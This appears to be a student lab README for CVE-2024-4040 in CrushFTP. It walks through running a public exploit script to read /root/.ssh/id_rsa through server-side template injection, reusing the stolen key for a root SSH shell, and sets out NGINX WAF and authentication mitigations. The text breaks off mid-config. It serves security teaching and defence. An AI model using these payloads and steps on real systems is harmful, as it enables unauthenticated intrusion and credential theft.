
Proof-of-concept exploit for CVE-2024-4040, demonstrating unauthenticated SSTI and local file read in CrushFTP, with Docker lab and mitigation strategies.
For educational and authorised lab use only.
For CS443 Software and Systems Security module. Lab was done in a controlled local Docker environment.
| Field | Detail |
|---|---|
| CVE | CVE-2024-4040 |
| Affected Software | CrushFTP < 10.7.1 (v10 branch) / < 11.1.0 (v11 branch) |
| Vulnerability Type | Server-Side Template Injection (SSTI) → Unauthenticated Local File Read |
| CVSS Score | 9.8 Critical |
| Impact | Unauthenticated attackers can read arbitrary files from the server filesystem |
CrushFTP's WebInterface evaluates template expressions in the path parameter of the zip command without sanitisation. An unauthenticated attacker can obtain anonymous session cookies, then use those cookies to pass template payloads ({working_dir}, <INCLUDE>…</INCLUDE>) that the server evaluates and returns — allowing arbitrary file read across the host.
| Component | Value |
|---|---|
| Target | http://localhost:8080 |
| Base PoC CrushFTP Version | 10.3.0 (intentionally vulnerable) |
| Mitigation 3 Test Environment | Separate container running CrushFTP 11.x (patched branch) |
| SSH Port (container) | 2222 → 22 |
| Admin Credentials | admin / admin |
| Container Runtime | Docker (Compose) |
pip install requests rich
| Script | Source | Purpose |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | Full SSTI/LFI exploit — session steal, arbitrary file read |
recon.py | This repo | Version detection, live SSTI probe, vulnerability confirmation |
docker-compose up -d
Wait ~10 seconds for CrushFTP to fully initialise before running the scripts.
No separate recon step is required here because crushed.py already checks whether exploitation is possible during execution.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
The script will:
CrushAuth / currentAuth session from /WebInterface/{working_dir} to resolve the CrushFTP installation directory<INCLUDE>/root/.ssh/id_rsa</INCLUDE> to read the target fileCopy the private key block from the output (everything from -----BEGIN OPENSSH PRIVATE KEY----- to -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
Unauthenticated attacker
│
▼
GET /WebInterface/ ← obtains anonymous CrushAuth + currentAuth cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmed — template evaluated by server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← leaks absolute installation path
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← arbitrary file read
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← full root shell
| Issue | Location | Details |
|---|---|---|
| Missing dependency | Line 6–9 | Requires pip install rich before running |
| Brittle XML parsing | Lines 86, 140 | Crashes on non-XML server responses; no ParseError handling |
| Token regex too strict | Lines 160–161 | CrushAuth=…; currentAuth=… pattern may not match all sessions.obj formats |
| HTTP 404 only | Line 53 | Cookie grab only succeeds on 404; falls through silently on other status codes |
A WAF acts as a reverse proxy that inspects incoming HTTP/S traffic before it reaches CrushFTP. Using NGINX with ModSecurity, malicious requests exploiting CVE-2024-4040 are blocked at the network edge without modifying CrushFTP itself.
../, %2e%2e) in request URIs and cookiesUse Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
Use Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
-> forwards clean -> CrushFTP:8080
CVE-2024-4040 is exploitable without authentication. In this lab, anonymous-style access is blocked at the NGINX layer by requiring an Authorization header before proxying sensitive routes to CrushFTP.
crushed.py rely on unauthenticated access; requests without credentials are rejected with 401/WebInterface/ and / are denied unless authentication data is presentservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Allow static assets unauthenticated
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}